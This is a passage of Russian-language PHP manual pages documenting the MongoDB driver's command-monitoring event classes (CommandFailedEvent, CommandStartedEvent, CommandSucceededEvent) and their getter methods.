Класс MongoDB\Driver\Monitoring\CommandFailedEvent содержит информацию о неудачной команде.

Обзор классов

final class MongoDB\Driver\Monitoring\CommandFailedEvent {
/* Методы */
final public getCommandName(): string
final public getDurationMicros(): int
final public getError(): Exception
final public getOperationId(): string
final public getReply(): object
final public getRequestId(): string
final public getServer(): MongoDB\Driver\Server
final public getServerConnectionId(): ?int
final public getServiceId(): ?MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Возвращает имя команды
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Возвращает длительность команды в микросекундах
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Возвращает исключение, связанное с неудачной командой
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Возвращает идентификатор операции команды
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Возвращает документ ответа команды
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Возвращает идентификатор запроса команды
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Возвращает сервер, на котором была выполнена команда
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя команды

  • « MongoDB\Driver\Monitoring\CommandFailedEvent
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает имя команды

MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Возвращает имя команды

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName(): string

Возвращает имя команды (например, "find", "aggregate").

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает длительность команды в микросекундах

  • « MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getError »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает длительность команды в микросекундах

MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Возвращает длительность команды в микросекундах

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros(): int

Длительность команды - это рассчитанное значение, которое включает время отправки сообщения и получение ответа от сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает продолжительность команды в микросекундах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает исключение, связанное с неудачной командой

  • « MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает исключение, связанное с неудачной командой

MongoDB\Driver\Monitoring\CommandFailedEvent::getError

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Возвращает исключение, связанное с неудачной командой

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getError(): Exception

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает исключение (Exception), связанное с неудачной командой.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор операции команды

  • « MongoDB\Driver\Monitoring\CommandFailedEvent::getError
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает идентификатор операции команды

MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Возвращает идентификатор операции команды

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId(): string

Идентификатор операции генерируется драйвером и может использоваться для связывания событий вместе, таких как операций массовой записи, которые могут быть разделены на несколько команд на уровне протокола.

Замечание: Поскольку несколько команд могут совместно использовать один и тот же идентификатор операции, нецелесообразно использовать его для связывания объектов событий друг с другом. Вместо этого следует использовать идентификатор запроса, возвращённый MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор операции команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId() - Возвращает идентификатор операции команды
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId() - Возвращает идентификатор запроса команды
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает документ ответа команды

  • « MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает документ ответа команды

MongoDB\Driver\Monitoring\CommandFailedEvent::getReply

(mongodb >=1.5.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Возвращает документ ответа команды

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getReply(): object

Ответный документ будет преобразован из BSON в PHP с использованием правил десериализации по умолчанию (например, документы BSON будут преобразованы в stdClass).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает документ ответа команды в виде объекта stdClass.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор запроса команды

  • « MongoDB\Driver\Monitoring\CommandFailedEvent::getReply
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает идентификатор запроса команды

MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Возвращает идентификатор запроса команды

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId(): string

Идентификатор запроса генерируется драйвером и может использоваться для связывания MongoDB\Driver\Monitoring\CommandFailedEvent с предыдущим MongoDB\Driver\Monitoring\CommandStartedEvent.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор запроса команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Возвращает идентификатор запроса команды
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сервер, на котором была выполнена команда

  • « MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает сервер, на котором была выполнена команда

MongoDB\Driver\Monitoring\CommandFailedEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Возвращает сервер, на котором была выполнена команда

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getServer(): MongoDB\Driver\Server

Возвращает MongoDB\Driver\Server, на котором была выполнена команда.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\Server, на котором была выполнена команда.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer() - Возвращает сервер, на котором была выполнена команда
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор соединения с сервером для команды

  • « MongoDB\Driver\Monitoring\CommandFailedEvent::getServer
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает идентификатор соединения с сервером для команды

MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId

(mongodb >=1.14.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId(): ?int

Возвращает идентификатор соединения с сервером для команды. Идентификатор подключения к серверу отличается от сервера (т.е. MongoDB\Driver\Monitoring\CommandFailedEvent::getServer()) и возвращается в поле "connectionId" ответа команды hello в MongoDB 4.2+.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор соединения с сервером или null, если он недоступен.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор службы балансировщика нагрузки для команды

  • « MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId
  • MongoDB\Driver\Monitoring\CommandStartedEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Возвращает идентификатор службы балансировщика нагрузки для команды

MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId

(mongodb >=1.11.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды

Описание

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId(): ?MongoDB\BSON\ObjectId

Если драйвер подключён к кластеру MongoDB через балансировщик нагрузки, идентификатор службы соответствует полю serviceId в ответе на команду hello.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор службы балансировщика нагрузки или null, если драйвер не подключён к балансировщику нагрузки.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\CommandStartedEvent

(mongodb >=1.3.0)

Введение

Класс MongoDB\Driver\Monitoring\CommandStartedEvent содержит информацию о запущенной команды.

Обзор классов

final class MongoDB\Driver\Monitoring\CommandStartedEvent {
/* Методы */
final public getCommand(): object
final public getCommandName(): string
final public getDatabaseName(): string
final public getOperationId(): string
final public getRequestId(): string
final public getServer(): MongoDB\Driver\Server
final public getServerConnectionId(): ?int
final public getServiceId(): ?MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Возвращает документ команды
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Возвращает имя команды
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Возвращает базу данных, на которой выполнялась команда
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Возвращает идентификатор операции команды
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Возвращает идентификатор запроса команды
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Возвращает сервер, на котором была выполнена команда
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды

User Contributed Notes

There are no user contributed notes for this page.


Возвращает документ команды

  • « MongoDB\Driver\Monitoring\CommandStartedEvent
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Возвращает документ команды

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Возвращает документ команды

Описание

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand(): object

Документ ответа будет преобразован из BSON в PHP используя правила десериализации (например, документы BSON будут преобразованы в stdClass).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает документ команды в виде объекта stdClass.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя команды

  • « MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Возвращает имя команды

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Возвращает имя команды

Описание

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName(): string

Возвращает имя команды (например, "find", "aggregate").

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает базу данных, на которой выполнялась команда

  • « MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Возвращает базу данных, на которой выполнялась команда

MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Возвращает базу данных, на которой выполнялась команда

Описание

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает базу данных, на которой была выполнена команда.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор операции команды

  • « MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Возвращает идентификатор операции команды

MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Возвращает идентификатор операции команды

Описание

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId(): string

Идентификатор операции генерируется драйвером и может использоваться для связывания событий вместе, таких как операций массовой записи, которые могут быть разделены на несколько команд на уровне протокола.

Замечание: Поскольку несколько команд могут совместно использовать один и тот же идентификатор операции, нецелесообразно использовать его для связывания объектов событий друг с другом. Вместо этого следует использовать идентификатор запроса, возвращённый MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор операции команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId() - Возвращает идентификатор операции команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId() - Возвращает идентификатор операции команды
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Возвращает идентификатор запроса команды
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор запроса команды

  • « MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Возвращает идентификатор запроса команды

MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Возвращает идентификатор запроса команды

Описание

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId(): string

Идентификатор запроса генерируется драйвером и может использоваться для связывания MongoDB\Driver\Monitoring\CommandStartedEvent с последующим MongoDB\Driver\Monitoring\CommandFailedEvent или MongoDB\Driver\Monitoring\CommandSucceededEvent.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор запроса команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId() - Возвращает идентификатор запроса команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId() - Возвращает идентификатор запроса команды
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сервер, на котором была выполнена команда

  • « MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Возвращает сервер, на котором была выполнена команда

MongoDB\Driver\Monitoring\CommandStartedEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Возвращает сервер, на котором была выполнена команда

Описание

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getServer(): MongoDB\Driver\Server

Возвращает MongoDB\Driver\Server, на котором была выполнена команда.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\Server, на котором была выполнена команда.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer() - Возвращает сервер, на котором была выполнена команда
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer() - Возвращает сервер, на котором была выполнена команда
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор соединения с сервером для команды

  • « MongoDB\Driver\Monitoring\CommandStartedEvent::getServer
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Возвращает идентификатор соединения с сервером для команды

MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId

(mongodb >=1.14.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды

Описание

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId(): ?int

Возвращает идентификатор соединения с сервером для команды. Идентификатор соединения с сервером отличается от сервера (т.е. MongoDB\Driver\Monitoring\CommandStartedEvent::getServer()) и возвращается в поле "connectionId" из ответа команды hello в MongoDB 4.2+.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор соединения с сервером или null, если он недоступен.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор службы балансировщика нагрузки для команды

  • « MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId
  • MongoDB\Driver\Monitoring\CommandSucceededEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Возвращает идентификатор службы балансировщика нагрузки для команды

MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId

(mongodb >=1.11.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды

Описание

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId(): ?MongoDB\BSON\ObjectId

Если драйвер подключён к кластеру MongoDB через балансировщик нагрузки, идентификатор службы соответствует полю serviceId в ответе на команду hello.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор службы балансировщика нагрузки или null, если драйвер не подключён к балансировщику нагрузки.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\CommandSucceededEvent

(mongodb >=1.3.0)

Введение

Класс MongoDB\Driver\Monitoring\CommandSucceededEvent содержит информацию об успешной команде.

Обзор классов

final class MongoDB\Driver\Monitoring\CommandSucceededEvent {
/* Методы */
final public getCommandName(): string
final public getDurationMicros(): int
final public getOperationId(): string
final public getReply(): object
final public getRequestId(): string
final public getServer(): MongoDB\Driver\Server
final public getServerConnectionId(): ?int
final public getServiceId(): ?MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Возвращает имя команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Возвращает длительность команды в микросекундах
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Возвращает идентификатор операции команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Возвращает документ ответа команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Возвращает идентификатор запроса команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Возвращает сервер, на котором была выполнена команда
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя команды

  • « MongoDB\Driver\Monitoring\CommandSucceededEvent
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Возвращает имя команды

MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Возвращает имя команды

Описание

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName(): string

Возвращает имя команды (например, "find", "aggregate").

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает длительность команды в микросекундах

  • « MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Возвращает длительность команды в микросекундах

MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Возвращает длительность команды в микросекундах

Описание

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros(): int

Длительность команды - это рассчитанное значение, которое включает время отправки сообщения и получение ответа от сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает продолжительность команды в микросекундах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор операции команды

  • « MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Возвращает идентификатор операции команды

MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Возвращает идентификатор операции команды

Описание

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId(): string

Идентификатор операции генерируется драйвером и может использоваться для связывания событий вместе, таких как операций массовой записи, которые могут быть разделены на несколько команд на уровне протокола.

Замечание: Поскольку несколько команд могут совместно использовать один и тот же идентификатор операции, нецелесообразно использовать его для связывания объектов событий друг с другом. Вместо этого следует использовать идентификатор запроса, возвращённый MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор операции команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId() - Возвращает идентификатор операции команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId() - Возвращает идентификатор запроса команды
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает документ ответа команды

  • « MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Возвращает документ ответа команды

MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Возвращает документ ответа команды

Описание

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply(): object

Документ ответа будет преобразован из BSON в PHP с использованием правил десериализации (например, документы BSON будут преобразованы в stdClass).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает документ ответа команды в виде объекта stdClass.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • Мониторинг производительности приложения (Application Performance Monitoring или APM)
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор запроса команды

  • « MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Возвращает идентификатор запроса команды

MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Возвращает идентификатор запроса команды

Описание

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId(): string

Идентификатор запроса генерируется драйвером и может использоваться для связывания MongoDB\Driver\Monitoring\CommandSucceededEvent с предыдущим MongoDB\Driver\Monitoring\CommandStartedEvent.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор запроса команды.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Возвращает идентификатор запроса команды
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сервер, на котором была выполнена команда

  • « MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Возвращает сервер, на котором была выполнена команда

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Возвращает сервер, на котором была выполнена команда

Описание

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer(): MongoDB\Driver\Server

Возвращает MongoDB\Driver\Server, на котором была выполнена команда.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\Server, на котором была выполнена команда.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer() - Возвращает сервер, на котором была выполнена команда
  • MongoDB\Driver\Cursor::getServer() - Возвращает сервер, связанный с курсором
  • MongoDB\Driver\WriteResult::getServer() - Возвращает сервер, связанный с этим результатом записи
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор соединения с сервером для команды

  • « MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Возвращает идентификатор соединения с сервером для команды

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId

(mongodb >=1.14.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды

Описание

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId(): ?int

